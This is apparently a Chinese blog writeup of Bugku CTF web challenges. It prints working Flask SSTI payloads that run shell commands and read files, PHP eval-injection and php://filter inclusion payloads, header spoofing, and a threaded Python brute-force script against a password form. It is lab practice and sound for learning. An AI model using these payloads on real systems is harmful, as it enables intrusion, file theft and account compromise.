这里是Bugku的CTF题目(主流情况下我一般都只会玩攻防世界的,难度稍微大一些,我之前的笔记分类有详细分成基础篇和高手篇写了writeup,感兴趣的可以去看看) 所用环境以及做题思路只在当时写下writeup时适用,若之后做出改动可与我联系,做出相应更改。 作者:李世荣
转载请标明出处。 1.Simple_SSTI_1 这道题涉及到了SSTI相关的知识点,这里给一个相关知识点的链接,可以额更好的学习相关知识。
代码语言:javascript复制链接地址:https://www.yuque.com/jxswcy/ctfnotebook/tdxk3n
https://www.cnblogs.com/bmjoker/p/13508538.html
花4个金币启动场景,心在滴血。
代码语言:javascript复制这里看到有一句提示:<!-- You know, in the flask, We often set a secret_key variable.—>
翻一下就是:你知道,在烧瓶里,我们经常设置一个密钥变量。
接下来我们试着百度SSTI,具体可以看大佬博客https://www.cnblogs.com/bmjoker/p/13508538.html
基本理解下来就是我们输入啥,页面某部分会跟着我们输入改变。
根据题目的提示,flag很有可能在SECRET_KEY文件中,我一直卡在看不了SECRET_KEY文件,知道看大佬wp,才知道是config.SECRET_KEY格式
2.Simple_SSTI_2
接上一道题,我们再来看看这道题,先启动场景。
你需要传入一个名为flag的参数。检查元素,看下这次说的又是什么。
emmmm,这好像什么都看不出来,尝试先传入一个参数试试看,是可以执行的,那就传一下错误模版看看情况。
代码语言:javascript复制得到信息是python的flask模板注入题,而且是python3.7(上一道题我发的大佬的链接里也有提到)
网上查找一些payload
文件读写
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('在这里输文件名', 'r').read() }}{% endif %}{% endfor %}
命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('在这里输命令').read()") }}{% endif %}{% endfor %}
先执行ls看看
/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
代码语言:javascript复制看到flag就在当前目录了
执行cat flag就能拿到flag
发现存在一些文件夹,进行一个个进入查看,运气很好,第一个看的app文件夹里就有flag
?flag={{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}
3.Flask_FileUpload
直接启动场景,看看是什么内容。
检查一下元素,发现题目提示的很明显了已经。 POST方法,提交一个名为”file”,’jpg,png’格式的文件。那我们就提交一个好了。
代码语言:javascript复制直接报错,就知道不会那么简单
<!-- Give me the file, and I will return the Running results by python to you! —>
这语句给漏了(瞎子李师傅)
这句说是说,让我们上传文件,然后文件会被Python执行。
那我们就准备一个Python文件,改一下文件属性再次上传试一下。
代码语言:javascript复制成功拿下flag,那我们说说这道题的考点在哪里呢。
FileUpload 函数 Flask 方法 system --- 进程 os
system函数可以将字符串转化成命令在服务器上运行;其原理是每一条system函数执行时,其会创建一个子进程在系统上执行命令行,子进程的执行结果无法影响主进程;
os.system方法是os模块最基础的方法,其它的方法一般在该方法基础上封装完成,远程代码执行
4.web1
寒假当时做的题了。这道题花了我一个金币又开启了环境,心在滴血,这道题应该就是签到题的难度,F12打开,找到flag直接搞定。
5.web2
这5道web题我都做过了,这里再次打开环境就是为了写一下writeup,金币很珍贵,大家且看且珍惜吧。 启动场景,题目提示输入验证码即可得到flag。
发现只能输入一位,立马懂了,立马检查元素,修改输入。
很简单,在body里把”input”maxlength=“1”改成maxlength=“3”就可以了,输入正确的值即可得到flag。 6.web3
这道题什么都没有,就给了个flag格式”flag{}”,启动场景简单看一下吧。
代码语言:javascript复制不废话直接一步到位。
好了,下面是给萌新科普的时刻,大佬请跳过。
$what=$_GET['what']; //GET 方式获取参数what
echo $what; //输出what 参数的值
if($what=='flag') //if 判断 $what 是否等于 flag
echo'flag{****}’;
通过GET 方式(URL)获取一个参数,参数名是`what`。
直接提交?what=flag,得到flag
7.web4
这道题题目里给了post,由于上道题是GET方式穿参,这道题就应该是POST方式。启动场景看看。
那就用POST方式传参,拿一下flag。
8.web5
这道题给的提示是矛盾,打开环境看看什么矛盾。
代码语言:javascript复制看到这里已经明白是怎么一回事了,直接构造拿到flag,大佬请跳过,开始新手讲解。
is_numeric()函数用于检测变量是否为数字或数字字符串。
题目要求用GET()方式传递num参数,要求num不能是数字或数字字符串,并且等于1;
is_numeric函数对于空字符 ,无论是 放在前后都可以判断为非数值,
所以构造num=1
得到flag
9.web6
开了场景,直接跳出弹窗,flag就在这里。
代码语言:javascript复制点击确定发现根本关不掉弹窗,突然灵机一动,李师傅已经知道是怎么一回事了。
这道题涉及到了一些知识点。下面我细说一下,大佬请跳过,萌新快点记笔记。
前方高能!!!
李师傅开课啦。
本题要点:NCR 转义序列(Unicode)
在Windows中经常需要用到多字符与宽字符的转换方法,多字符(MultiChar)也就是ANSI编码的方式,而宽字符(WideChar)也就是Unicode编码的方式。
ANSI是默认的编码方式。对于英文文件是ASCII编码,对于简体中文文件是GB2312编码(只针对Windows简体中文版,如果是繁体中文版会采用Big5码)。
如果是为了跨平台兼容性,只需要知道,在 Windows 记事本的语境中:
所谓的「ANSI」指的是对应当前系统 locale 的遗留(legacy)编码。
所谓的「Unicode」指的是带有 BOM 的小端序 UTF-16。
所谓的「UTF-8」指的是带 BOM 的 UTF-8。
GBK 等遗留编码最麻烦,所以除非你知道自己在干什么否则不要再用了。
UTF-16 理论上其实很好,字节序也标明了,但 UTF-16 毕竟不常用。
UTF-8 本来是兼容性最好的编码但 Windows 偏要加 BOM 于是经常出问题。
所以,跨平台兼容性最好的其实就是不用记事本。
建议用 Notepad 等正常的专业文本编辑器保存为不带 BOM 的 UTF-8。
另外,如果文本中所有字符都在 ASCII 范围内,那么其实,记事本保存的所谓的「ANSI」文件,和 ASCII 或无 BOM 的 UTF-8 是一样的。
下面我们切入正题!
一直点确定,发现一直重复这两个页面...........emmmmm.........不过还是一直点完了...
右键查看源码
代码语言:javascript复制发现了一串奇怪的字符
KEY{J2sa42ahJK-HS11III}为NCR 转义序列(Unicode)
decode的作用是将其他编码的字符串转换成unicode编码,如str1.decode('gb2312'),表示将gb2312编码的字符串str1转换成unicode编码。
encode的作用是将unicode编码转换成其他编码的字符串,如str2.encode('gb2312'),表示将unicode编码的字符串str2转换成gb2312编码。
题目提示你必须让他停下,突然有种一种不祥的预感,废话不多说,先打开看看。
其实这个题目是让网页不断刷新,然后每隔10次左右就会刷新出flag,具体可以看页面,页面处于不断刷新的状态,但是过一会就能看到一个图标冒出来,那么久大胆假设,然后用BP抓包一下。
打开源代码发现用了js的setTimeout函数,挂个链接可以去看看这个函数的大致讲解。
链接地址:https://blog.csdn.net/qq_34208844/article/details/84332199
如果不会用BurpSuite的同学可以关掉JavaScript,在右下角有个Debugger,第一个Disable JavaScript,点击即可。
2021.4.12
最近在写这道题的writeup时候,发现这个方法不能用了,也就是说出题人就是想人大家用BurpSuite抓包,那我们就抓包好了。
打开burpsuite发送到repeater,然后不停的gogogogogogogo,后台总共有15个jpg,后台会随机返回一个图片,如果jpg为10的时候就能得到flag(不完全是,有一定的概率,多试几次就好了)这道题忒邪乎,这得亏是在练题,要在比赛,我肯定觉得不对劲。 拿到了flag,放图证明下。
11.web8
这道题目提示是文件包含,文件包含的题也算是老面孔了,打开环境看看。
代码语言:javascript复制打开之后看代码,发现包含一个flag.php文件,这个文件就是关键所在。打开后就得到了flag。
看后面的代码我们可以知道最后通过var_dump函数实现输出,那就从这里入手。他要输出a,那就把flag.php传到a里面,那怎么传到a呢,又发现前面一行通过request函数将hello字段的东西传给a,那好办了。
将flag.php以文件方式打开到hello里面。具体操作如下:
打开hackbar,在post传值块输入hello=file(‘flag.php’),跑一下就出来了。
代码语言:javascript复制这里提供一些其他思路:
方法一:eval存在命令执行漏洞,使用hello构造payload
http://120.24.86.145:8003/index.php?hello=1);show_source('flag.php');var_dump(3
方法二:
http://120.24.86.145:8003/index.php?hello=1);include $_POST['f'];//
在POST区域:f=php://filter/convert.base64-encode/resource=flag.php ?
Base64解码即可。
方法三:直接将flag.php文件读入变量hello中
?hello=get_file_contents('flag.php')
?hello=file('flag.php’) #这就是我们用的方法。
12.web9
题目描述:题目已修复,启动场景看看是什么内容。
观察代码发现有包含漏洞,那么只需要给args GET传值一个全局变量就行,于是构造?args=GLOBALS,跑一下,得到flag。
代码语言:javascript复制flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){ //判断args参数是否存在
$args = $_GET['args’]; //参数值赋给$args
if(!preg_match("/^w $/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
*flag In the variable提示flag通过变量读取
包含文件flag1.php
if(isset($_GET['args'])){
$args = $_GET['args'];
*知识点:
preg_match("/^w $/“,$args)执行正则表达式匹配
/^开始,w表示任意一个单词字符,即[a-z][A-Z][0-9], 将前面的字符匹配一次或多次,$/结束。后面的args变量是被匹配的。相当于在args变量里寻找符合正则表达式的部分,若有则返回1,若没有则返回0。
因为有正则表达式的验证过程,所以我们没法利用本地包含漏洞查看flag1.php
这里我们通过 $ $args(可变变量)获取flag, $ $argvs作用类似于
$a = "hello";//声明变量a
$hello = "world";//声明变量hello
echo $$a //输出world
联想到PHP中$GLOBALS[index] 的数组中存储了所有全局变量,令args=GLOBALS正好符合条件利用可变变量输出,最后得到flag。
13.web10
题目描述:头等舱。打开环境,网页显示,什么也没有,检查一下元素,看看有什么发现没有。
题目提示是头等舱,思考一下,是不是header里有情况,随便提交个数据,看一下。 啊这,这道题看了一下请求头直接出来了。真~请求头
14.Web11
题目提示:网站被黑了 黑客会不会留下后门,打开环境,看看黑客的操作。
哈哈哈哈哈哈笑死我了,那就看看黑客的高端操作。除了鼠标移动时画面很好看之外,什么也没有发现,检查元素也没发现什么,再看看网页源码还是一无所获。 那就直接御剑扫一波,扫到一半,看到/shell.php,那这就没什么好说的了,直接进去看看。
出现了一个让输入密码的界面,首先想到的是爆破,但是不知道密码大概是几位,这里就按以往经验忙猜一下。
这里要尝试多用几个字典,爆破是一句话的事情,可是爆破不出来结果还是很烦的,所以我们平时要收集一些字典。 这里爆破出来,顺利拿到了flag。 15.web12
这道题打开,题目提示,本地管理员
查看源码是好习惯,这不就发现了东西吗,这是个编码方式,忙猜一波base64,那就简单解码一下。
代码语言:javascript复制一般管理员账号都是admin,那密码就是test123了,放进去试一下。
但是这里还是报错,还是不行,哪里不行呢,想了一下,对了,忘了一样东西。
X-Forwarded-For: 127.0.0.1
使用BurpSuite抓包
16.web13 题目提示查看源代码,打开环境看看。
代码语言:javascript复制根据题意,打开源代码,发现了一片奇怪的JS代码,猜测是URL编码(URL编码的特点就是 %数字%数字%数字……)
var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b';
var p2 = 'aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;';
eval(unescape(p1) unescape('54aa2' p2));
URL解码网站:http://tool.chinaz.com/tools/urlencode.aspx
用URL解码器解一下,得到三行代码
function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b
aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;
54aa2
把代码拼接,然后整理一下顺序,得到如下代码
function checkSubmit(){
var a=document.getElementById("password");
if("undefined"!=typeof a){
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1
}
}
按照代码的意思,我们将67d709b2b54aa2aa648cf6e87a7114f1填入框中,得到flag
17.web14
这道题没有任何提示,我们先打开环境看看:click me?no
点击进去看看
代码语言:javascript复制提示index.php,除此之外没有提示,看看源码,也什么都没有。
此时注意到URL栏中出现了一个file=show.php,看到file可以想到这是一个典型的文件包含漏洞
令file=php://filter/read=convert.base64-encode/resource=index.php
得到了一串base64编码,盲猜是flag。试试去。试试就拿到了flag。
代码语言:javascript复制这里扩充一下知识点,为什么看到file=show.php就联想倒了文件包含漏洞
①php封装协议
知识点:https://www.php.net/manual/zh/wrappers.php.php
②file=php://filter/read=convert.base64-encode/resource=index.php的含义
首先这是一个file关键字的get参数传递
php://是一种协议名称
php://filter/是一种访问本地文件的协议
/read=convert.base64-encode/表示读取的方式是base64编码后
resource=index.php表示目标文件为index.php
③为什么通过传递这个参数能得到源码
原因在于源代码中使用了include()函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
而include的内容是由用户控制的,所以通过我们传递的file参数,使include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,会返回源码,由此我们得到了源码的base64格式,解码即可的到源码。
反观,如果不进行base64编码传入,就会直接执行,而flag的信息在注释中,是得不到的。
18.web15
题目给出的提示是好像需要密码,那么我们就要拿到密码,开环境。
没什么好说的,爆破题目,直接上家伙爆破。 1.脚本爆破(线程别开太多哦,慢一点至少不会崩了)
代码语言:javascript复制脚本:
import requests
import threading
psw = 0
lock = threading.RLock()
gotit = False
correct = ""
class BreakThread(threading.Thread):
def run(self):
global psw, gotit, correct
while True:
lock.acquire()
if psw > 99999 or gotit:
lock.release()
break
d = {
"pwd": str(psw).zfill(5)
}
psw = psw 1
lock.release()
r = requests.post("http://114.67.246.176:15110/?yes", data=d) #题目环境自行更改
r.encoding = "utf-8"
try:
r.text.index("密码不正确")
except ValueError:
print(d["pwd"] " right")
gotit = True
lock.acquire()
correct = d["pwd"]
lock.release()
break
else:
print(d["pwd"] " wrong")
l = []
for i in range(2):
l.append(BreakThread())
for i in l:
i.start()
for i in l:
i.join()
print("正确密码:" correct)
2.burpsuite爆破
先抓包,然后发送给测试器,设置payload,准备爆破,纯数字,5位数,设置好就开始。这里就不细说了,大家自己实践即可。